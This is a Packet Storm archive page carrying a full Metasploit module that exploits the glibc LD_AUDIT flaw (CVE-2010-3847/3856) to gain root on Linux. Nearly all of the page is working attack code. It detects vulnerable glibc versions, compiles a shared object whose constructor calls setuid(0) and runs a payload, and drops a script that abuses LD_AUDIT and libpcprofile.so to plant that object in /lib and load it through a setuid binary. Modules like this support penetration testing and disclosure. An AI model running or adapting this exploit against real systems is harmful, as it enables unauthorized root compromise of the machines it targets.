Twenty Year Anniversary

glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation

glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation
Posted Feb 10, 2018
Authored by Marco Ivaldi, Tavis Ormandy, Todor Donev, zx2c4, Brendan Coles | Site metasploit.com

This Metasploit module attempts to gain root privileges on Linux systems by abusing a vulnerability in the GNU C Library (glibc) dynamic linker. glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not properly restrict use of the LD_AUDIT environment variable when loading setuid executables. This allows loading arbitrary shared objects from the trusted library search path with the privileges of the suid user. This Metasploit module uses LD_AUDIT to load the libpcprofile.so shared object, distributed with some versions of glibc, and leverages arbitrary file creation functionality in the library constructor to write a root-owned world-writable file to a system trusted search path (usually /lib). The file is then overwritten with a shared object then loaded with LD_AUDIT resulting in arbitrary code execution. This Metasploit module has been tested successfully on glibc version 2.11.1 on Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386. RHEL 5 is reportedly affected, but untested. Some glibc distributions do not contain the libpcprofile.so library required for successful exploitation.

tags | exploit, arbitrary, root, code execution
systems | linux, debian, ubuntu
advisories | CVE-2010-3847, CVE-2010-3856
MD5 | 2bf9e1106acf9e1f0a7b618fe7f2da3f

glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Linux

def initialize(info = {})
super(update_info(info,
'Name' => 'glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Linux systems by abusing
a vulnerability in the GNU C Library (glibc) dynamic linker.

glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
properly restrict use of the LD_AUDIT environment variable when loading
setuid executables. This allows loading arbitrary shared objects from
the trusted library search path with the privileges of the suid user.

This module uses LD_AUDIT to load the libpcprofile.so shared object,
distributed with some versions of glibc, and leverages arbitrary file
creation functionality in the library constructor to write a root-owned
world-writable file to a system trusted search path (usually /lib).
The file is then overwritten with a shared object then loaded with
LD_AUDIT resulting in arbitrary code execution.

This module has been tested successfully on glibc version 2.11.1 on
Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386.

RHEL 5 is reportedly affected, but untested. Some glibc distributions
do not contain the libpcprofile.so library required for successful
exploitation.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # Discovery and exploit
'zx2c4', # "I Can't Read and I Won't Race You Either" exploit
'Marco Ivaldi', # raptor_ldaudit and raptor_ldaudit2 exploits
'Todor Donev', # libmemusage.so exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Oct 18 2010',
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'CVE', '2010-3847' ],
[ 'CVE', '2010-3856' ],
[ 'BID', '44154' ],
[ 'BID', '44347' ],
[ 'EDB', '15274' ],
[ 'EDB', '15304' ],
[ 'EDB', '18105' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/344' ],
[ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3856' ],
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ],
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ]
]
))
register_options(
[
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end

def base_dir
datastore['WritableDir']
end

def suid_exe_path
datastore['SUID_EXECUTABLE']
end

def check
glibc_banner = cmd_exec 'ldd --version'
glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
if glibc_version.to_s.eql? ''
vprint_error 'Could not determine the GNU C library version'
return CheckCode::Safe
elsif glibc_version >= Gem::Version.new('2.12.2') ||
(glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))
vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "GNU C Library version #{glibc_version} is vulnerable"

lib = 'libpcprofile.so'
@lib_dir = nil
vprint_status "Checking for #{lib} in system search paths"
search_paths = cmd_exec "env -i LD_PRELOAD=#{rand_text_alpha rand(10..15)} LD_DEBUG=libs env 2>&1 | grep 'search path='"
search_paths.split('path=')[1..-1].join.split(':').each do |path|
lib_dir = path.to_s.strip
next if lib_dir.eql? ''
libs = cmd_exec "ls '#{lib_dir}'"
if libs.include? lib
@lib_dir = lib_dir
break
end
end
if @lib_dir.nil?
vprint_error "Could not find #{lib}"
return CheckCode::Safe
end
vprint_good "Found #{lib} in #{@lib_dir}"

unless setuid? suid_exe_path
vprint_error "#{suid_exe_path} is not setuid"
return CheckCode::Detected
end
vprint_good "#{suid_exe_path} is setuid"

CheckCode::Appears
end

def upload_and_chmodx(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
cmd_exec "chmod +x '#{path}'"
register_file_for_cleanup path
end

def on_new_session(client)
# remove root owned shared object from system load path
if client.type.eql? 'meterpreter'
client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
client.fs.file.rm @so_path
else
client.shell_command_token "rm #{@so_path}"
end
end

def exploit
check_status = check

if check_status == CheckCode::Appears
print_good 'The target appears to be vulnerable'
elsif check_status == CheckCode::Detected
fail_with Failure::BadConfig, "#{suid_exe_path} is not suid"
else
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
payload_path = "#{base_dir}/#{payload_name}"

# Set target
uname = cmd_exec 'uname -m'
vprint_status "System architecture is #{uname}"
if target.name.eql? 'Automatic'
case uname
when 'x86_64'
my_target = targets[2]
when /x86/, /i\d86/
my_target = targets[1]
else
fail_with Failure::NoTarget, 'Unable to automatically select a target'
end
else
my_target = target
end
print_status "Using target: #{my_target.name}"

cpu = nil
case my_target['Arch']
when ARCH_X86
cpu = Metasm::Ia32.new
when ARCH_X64
cpu = Metasm::X86_64.new
else
fail_with Failure::NoTarget, 'Target is not compatible'
end

# Compile shared object
so_stub = %|
extern int setuid(int);
extern int setgid(int);
extern int system(const char *__s);

void init(void) __attribute__((constructor));

void __attribute__((constructor)) init() {
setuid(0);
setgid(0);
system("#{payload_path}");
}
|

begin
so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
rescue
print_error "Metasm encoding failed: #{$ERROR_INFO}"
elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
fail_with Failure::Unknown, 'Metasm encoding failed'
end

# Upload shared object
so_name = ".#{rand_text_alphanumeric rand(5..10)}"
so_path = "#{base_dir}/#{so_name}"
upload_and_chmodx so_path, so

# Upload exploit
@so_path = "#{@lib_dir}/#{so_name}.so"
exp = %(
umask 0
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="#{@so_path}" #{suid_exe_path} 2>/dev/null
umask 0022
cat #{so_path} > #{@so_path}
LD_AUDIT="#{so_name}.so" #{suid_exe_path}
echo > #{@so_path}
)
exp_name = ".#{rand_text_alphanumeric rand(5..10)}"
exp_path = "#{base_dir}/#{exp_name}"
upload_and_chmodx exp_path, exp

# Upload payload
upload_and_chmodx payload_path, generate_payload_exe

# Launch exploit
print_status 'Launching exploit...'
# The echo at the end of the command is required
# else the original session may die
output = cmd_exec "#{exp_path}& echo "
output.each_line { |line| vprint_status line.chomp }
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

May 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    17 Files
  • 3
    May 3rd
    30 Files
  • 4
    May 4th
    29 Files
  • 5
    May 5th
    2 Files
  • 6
    May 6th
    3 Files
  • 7
    May 7th
    13 Files
  • 8
    May 8th
    27 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    15 Files
  • 11
    May 11th
    8 Files
  • 12
    May 12th
    2 Files
  • 13
    May 13th
    8 Files
  • 14
    May 14th
    7 Files
  • 15
    May 15th
    43 Files
  • 16
    May 16th
    19 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    3 Files
  • 20
    May 20th
    6 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    8 Files
  • 23
    May 23rd
    53 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close